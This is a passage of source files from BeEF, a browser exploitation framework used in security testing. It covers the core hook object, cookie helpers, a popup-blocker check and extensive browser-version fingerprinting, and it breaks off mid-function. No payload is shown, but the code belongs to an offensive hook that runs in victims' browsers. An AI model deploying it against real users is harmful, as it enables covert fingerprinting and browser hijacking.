array containing all the BeEF JS components. */ var BeefJS = { version: '<%= @beef_version %>', pageIsLoaded: false, onpopstate: new Array(), onclose: new Array(), commands: new Array(), components: new Array(), /** * Adds a function to display debug messages (wraps console.log()) * @param: {string} the debug string to return */ debug: function(msg) { isDebug = '<%= @client_debug %>' if (typeof console == "object" && typeof console.log == "function" && isDebug === 'true') { var currentdate = new Date(); var pad = function(n){return ("0" + n).slice(-2);} var datetime = currentdate.getFullYear() + "-" + pad(currentdate.getMonth()+1) + "-" + pad(currentdate.getDate()) + " " + pad(currentdate.getHours()) + ":" + pad(currentdate.getMinutes()) + ":" + pad(currentdate.getSeconds()); console.log('['+datetime+'] '+msg); } else { // TODO: maybe add a callback to BeEF server for debugging purposes //window.alert(msg); } }, /** * Adds a function to execute. * @param: {Function} the function to execute. */ execute: function(fn) { if ( typeof beef.websocket == "undefined"){ this.commands.push(fn); }else{ fn(); } }, /** * Registers a component in BeEF JS. * @params: {String} the component. * * Components are very important to register so the framework does not * send them back over and over again. */ regCmp: function(component) { this.components.push(component); } }; window.beef = BeefJS; } ================================================ FILE: core/main/client/browser/cookie.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /** * Provides fuctions for working with cookies. * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php * Original author unknown. * @namespace beef.browser.cookie */ beef.browser.cookie = { /** @memberof beef.browser.cookie */ setCookie: function (name, value, expires, path, domain, secure) { var today = new Date(); today.setTime( today.getTime() ); if ( expires ) { expires = expires * 1000 * 60 * 60 * 24; } var expires_date = new Date( today.getTime() + (expires) ); document.cookie = name + "=" +escape( value ) + ( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) + ( ( path ) ? ";path=" + path : "" ) + ( ( domain ) ? ";domain=" + domain : "" ) + ( ( secure ) ? ";secure" : "" ); }, /** @memberof beef.browser.cookie */ getCookie: function(name) { var a_all_cookies = document.cookie.split( ';' ); var a_temp_cookie = ''; var cookie_name = ''; var cookie_value = ''; var b_cookie_found = false; for ( i = 0; i < a_all_cookies.length; i++ ) { a_temp_cookie = a_all_cookies[i].split( '=' ); cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, ''); if ( cookie_name == name ) { b_cookie_found = true; if ( a_temp_cookie.length > 1 ) { cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') ); } return cookie_value; break; } a_temp_cookie = null; cookie_name = ''; } if ( !b_cookie_found ) { return null; } }, /** @memberof beef.browser.cookie */ deleteCookie: function (name, path, domain) { if ( this.getCookie(name) ) document.cookie = name + "=" + ( ( path ) ? ";path=" + path : "") + ( ( domain ) ? ";domain=" + domain : "" ) + ";expires=Thu, 01-Jan-1970 00:00:01 GMT"; }, /** @memberof beef.browser.cookie */ cookieValueRandomizer: function (){ var to_hell= ''; var min = 17; var max = 25; var lol_length = Math.floor(Math.random() * (max - min + 1)) + min; var grunt = function(){ var moo = Math.floor(Math.random() * 62); var char = ''; if(moo < 36){ char = String.fromCharCode(moo + 55); }else{ char = String.fromCharCode(moo + 61); } if(char != ';' && char != '='){ return char; }else{ return 'x'; } }; while(to_hell.length < lol_length){ to_hell += grunt(); } return to_hell; }, /** @memberof beef.browser.cookie */ hasSessionCookies: function (name){ this.setCookie( name, beef.browser.cookie.cookieValueRandomizer(), '', '/', '', '' ); cookiesEnabled = (this.getCookie(name) == null)? false:true; this.deleteCookie(name, '/', ''); return cookiesEnabled; }, /** @memberof beef.browser.cookie */ hasPersistentCookies: function (name){ this.setCookie( name, beef.browser.cookie.cookieValueRandomizer(), 1, '/', '', '' ); cookiesEnabled = (this.getCookie(name) == null)? false:true; this.deleteCookie(name, '/', ''); return cookiesEnabled; } }; beef.regCmp('beef.browser.cookie'); ================================================ FILE: core/main/client/browser/popup.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /** * Provides fuctions for working with cookies. * Several functions adopted from http://davidwalsh.name/popup-block-javascript * Original author unknown. * @namespace beef.browser.popup */ beef.browser.popup = { /** @memberof beef.browser.popup */ blocker_enabled: function () { screenParams = beef.hardware.getScreenSize(); var popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable'); if (popUp == null || typeof(popUp)=='undefined') { return true; } else { popUp.close(); return false; } } }; beef.regCmp('beef.browser.popup'); ================================================ FILE: core/main/client/browser.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /** * Basic browser functions. * @namespace beef.browser */ beef.browser = { /** * Returns the protocol. * @example: beef.browser.getProtocol() */ getProtocol: function() { return document.location.protocol; }, /** * Returns the user agent that the browser is claiming to be. * @example: beef.browser.getBrowserReportedName() */ getBrowserReportedName: function () { return navigator.userAgent; }, /** * Returns the underlying layout engine in use by the browser. * @example: beef.browser.getBrowserEngine() */ getBrowserEngine: function() { try { var engine = platform.layout; if (!!engine) return engine; } catch (e) {} return 'unknown'; }, /** * Returns true if Avant Browser. * @example: beef.browser.isA() */ isA: function () { return window.navigator.userAgent.match(/Avant TriCore/) != null; }, /** * Returns true if Iceweasel. * @example: beef.browser.isIceweasel() */ isIceweasel: function () { return window.navigator.userAgent.match(/Iceweasel\/\d+\.\d/) != null; }, /** * Returns true if Midori. * @example: beef.browser.isMidori() */ isMidori: function () { return window.navigator.userAgent.match(/Midori\/\d+\.\d/) != null; }, /** * Returns true if Odyssey * @example: beef.browser.isOdyssey() */ isOdyssey: function () { return (window.navigator.userAgent.match(/Odyssey Web Browser/) != null && window.navigator.userAgent.match(/OWB\/\d+\.\d/) != null); }, /** * Returns true if Brave * @example: beef.browser.isBrave() */ isBrave: function(){ return (window.navigator.userAgent.match(/brave\/\d+\.\d/) != null && window.navigator.userAgent.match(/Brave\/\d+\.\d/) != null); }, /** * Returns true if IE6. * @example: beef.browser.isIE6() */ isIE6: function () { return !window.XMLHttpRequest && !window.globalStorage; }, /** * Returns true if IE7. * @example: beef.browser.isIE7() */ isIE7: function () { return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage && !document.documentMode; }, /** * Returns true if IE8. * @example: beef.browser.isIE8() */ isIE8: function () { return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !window.performance; }, /** * Returns true if IE9. * @example: beef.browser.isIE9() */ isIE9: function () { return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints === "undefined"; }, /** * * Returns true if IE10. * @example: beef.browser.isIE10() */ isIE10: function () { return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined"; }, /** * * Returns true if IE11. * @example: beef.browser.isIE11() */ isIE11: function () { return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined" && typeof document.selection === "undefined" && typeof document.createStyleSheet === "undefined" && typeof window.createPopup === "undefined" && typeof window.XDomainRequest === "undefined"; }, /** * * Returns true if Edge. * @example: beef.browser.isEdge() */ isEdge: function () { return !beef.browser.isIE() && !!window.styleMedia && (/Edg\/\d+\.\d/.test(window.navigator.userAgent) || /Edge\/\d+\.\d/.test(window.navigator.userAgent)); }, /** * Returns true if IE. * @example: beef.browser.isIE() */ isIE: function () { return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9() || this.isIE10() || this.isIE11(); }, /** * Returns true if FF2. * @example: beef.browser.isFF2() */ isFF2: function () { return !!window.globalStorage && !window.postMessage; }, /** * Returns true if FF3. * @example: beef.browser.isFF3() */ isFF3: function () { return !!window.globalStorage && !!window.postMessage && !JSON.parse; }, /** * Returns true if FF3.5. * @example: beef.browser.isFF3_5() */ isFF3_5: function () { return !!window.globalStorage && !!JSON.parse && !window.FileReader; }, /** * Returns true if FF3.6. * @example: beef.browser.isFF3_6() */ isFF3_6: function () { return !!window.globalStorage && !!window.FileReader && !window.multitouchData && !window.history.replaceState; }, /** * Returns true if FF4. * @example: beef.browser.isFF4() */ isFF4: function () { return !!window.globalStorage && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/4\./) != null; }, /** * Returns true if FF5. * @example: beef.browser.isFF5() */ isFF5: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/5\./) != null; }, /** * Returns true if FF6. * @example: beef.browser.isFF6() */ isFF6: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/6\./) != null; }, /** * Returns true if FF7. * @example: beef.browser.isFF7() */ isFF7: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/7\./) != null; }, /** * Returns true if FF8. * @example: beef.browser.isFF8() */ isFF8: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/8\./) != null; }, /** * Returns true if FF9. * @example: beef.browser.isFF9() */ isFF9: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/9\./) != null; }, /** * Returns true if FF10. * @example: beef.browser.isFF10() */ isFF10: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/10\./) != null; }, /** * Returns true if FF11. * @example: beef.browser.isFF11() */ isFF11: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/11\./) != null; }, /** * Returns true if FF12 * @example: beef.browser.isFF12() */ isFF12: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null; }, /** * Returns true if FF13 * @example: beef.browser.isFF13() */ isFF13: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/13\./) != null; }, /** * Returns true if FF14 * @example: beef.browser.isFF14() */ isFF14: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/14\./) != null; }, /** * Returns true if FF15 * @example: beef.browser.isFF15() */ isFF15: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/15\./) != null; }, /** * Returns true if FF16 * @example: beef.browser.isFF16() */ isFF16: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/16\./) != null; }, /** * Returns true if FF17 * @example: beef.browser.isFF17() */ isFF17: function () { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/17\./) != null; }, /** * Returns true if FF18 * @example: beef.browser.isFF18() */ isFF18: function () { return !!window.devicePixelRatio && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/18\./) != null; }, /** * Returns true if FF19 * @example: beef.browser.isFF19() */ isFF19: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/19\./) != null; }, /** * Returns true if FF20 * @example: beef.browser.isFF20() */ isFF20: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/20\./) != null; }, /** * Returns true if FF21 * @example: beef.browser.isFF21() */ isFF21: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/21\./) != null; }, /** * Returns true if FF22 * @example: beef.browser.isFF22() */ isFF22: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/22\./) != null; }, /** * Returns true if FF23 * @example: beef.browser.isFF23() */ isFF23: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/23\./) != null; }, /** * Returns true if FF24 * @example: beef.browser.isFF24() */ isFF24: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/24\./) != null; }, /** * Returns true if FF25 * @example: beef.browser.isFF25() */ isFF25: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/25\./) != null; }, /** * Returns true if FF26 * @example: beef.browser.isFF26() */ isFF26: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/26./) != null; }, /** * Returns true if FF27 * @example: beef.browser.isFF27() */ isFF27: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && window.navigator.userAgent.match(/Firefox\/27./) != null; }, /** * Returns true if FF28 * @example: beef.browser.isFF28() */ isFF28: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt !== 'function' && window.navigator.userAgent.match(/Firefox\/28./) != null; }, /** * Returns true if FF29 * @example: beef.browser.isFF29() */ isFF29: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/29./) != null; }, /** * Returns true if FF30 * @example: beef.browser.isFF30() */ isFF30: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/30./) != null; }, /** * Returns true if FF31 * @example: beef.browser.isFF31() */ isFF31: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/31./) != null; }, /** * Returns true if FF32 * @example: beef.browser.isFF32() */ isFF32: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/32./) != null; }, /** * Returns true if FF33 * @example: beef.browser.isFF33() */ isFF33: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/33./) != null; }, /** * Returns true if FF34 * @example: beef.browser.isFF34() */ isFF34: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/34./) != null; }, /** * Returns true if FF35 * @example: beef.browser.isFF35() */ isFF35: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/35./) != null; }, /** * Returns true if FF36 * @example: beef.browser.isFF36() */ isFF36: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/36./) != null; }, /** * Returns true if FF37 * @example: beef.browser.isFF37() */ isFF37: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/37./) != null; }, /** * Returns true if FF38 * @example: beef.browser.isFF38() */ isFF38: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/38./) != null; }, /** * Returns true if FF39 * @example: beef.browser.isFF39() */ isFF39: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/39./) != null; }, /** * Returns true if FF40 * @example: beef.browser.isFF40() */ isFF40: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/40./) != null; }, /** * Returns true if FF41 * @example: beef.browser.isFF41() */ isFF41: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/41./) != null; }, /** * Returns true if FF42 * @example: beef.browser.isFF42() */ isFF42: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/42./) != null; }, /** * Returns true if FF43 * @example: beef.browser.isFF43() */ isFF43: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/43./) != null; }, /** * Returns true if FF44 * @example: beef.browser.isFF44() */ isFF44: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/44./) != null; }, /** * Returns true if FF45 * @example: beef.browser.isFF45() */ isFF45: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/45./) != null; }, /** * Returns true if FF46 * @example: beef.browser.isFF46() */ isFF46: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/46./) != null; }, /** * Returns true if FF47 * @example: beef.browser.isFF47() */ isFF47: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/47./) != null; }, /** * Returns true if FF48 * @example: beef.browser.isFF48() */ isFF48: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/48./) != null; }, /** * Returns true if FF49 * @example: beef.browser.isFF49() */ isFF49: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/49./) != null; }, /** * Returns true if FF50 * @example: beef.browser.isFF50() */ isFF50: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/50./) != null; }, /** * Returns true if FF51 * @example: beef.browser.isFF51() */ isFF51: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/51./) != null; }, /** * Returns true if FF52 * @example: beef.browser.isFF52() */ isFF52: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/52./) != null; }, /** * Returns true if FF53 * @example: beef.browser.isFF53() */ isFF53: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/53./) != null; }, /** * Returns true if FF54 * @example: beef.browser.isFF54() */ isFF54: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/54./) != null; }, /** * Returns true if FF55 * @example: beef.browser.isFF55() */ isFF55: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/55./) != null; }, /** * Returns true if FF56 * @example: beef.browser.isFF56() */ isFF56: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/56./) != null; }, /** * Returns true if FF57 * @example: beef.browser.isFF57() */ isFF57: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/57./) != null; }, /** * Returns true if FF58 * @example: beef.browser.isFF58() */ isFF58: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/58./) != null; }, /** * Returns true if FF59 * @example: beef.browser.isFF59() */ isFF59: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/59./) != null; }, /** * Returns true if FF60 * @example: beef.browser.isFF60() */ isFF60: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/60./) != null; }, /** * Returns true if FF61 * @example: beef.browser.isFF61() */ isFF61: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/61./) != null; }, /** * Returns true if FF62 * @example: beef.browser.isFF62() */ isFF62: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/62./) != null; }, /** * Returns true if FF63 * @example: beef.browser.isFF63() */ isFF63: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/63./) != null; }, /** * Returns true if FF64 * @example: beef.browser.isFF64() */ isFF64: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/64./) != null; }, /** * Returns true if FF65 * @example: beef.browser.isFF65() */ isFF65: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/65./) != null; }, /** * Returns true if FF66 * @example: beef.browser.isFF66() */ isFF66: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/66./) != null; }, /** * Returns true if FF67 * @example: beef.browser.isFF67() */ isFF67: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/67./) != null; }, /** * Returns true if FF68 * @example: beef.browser.isFF68() */ isFF68: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 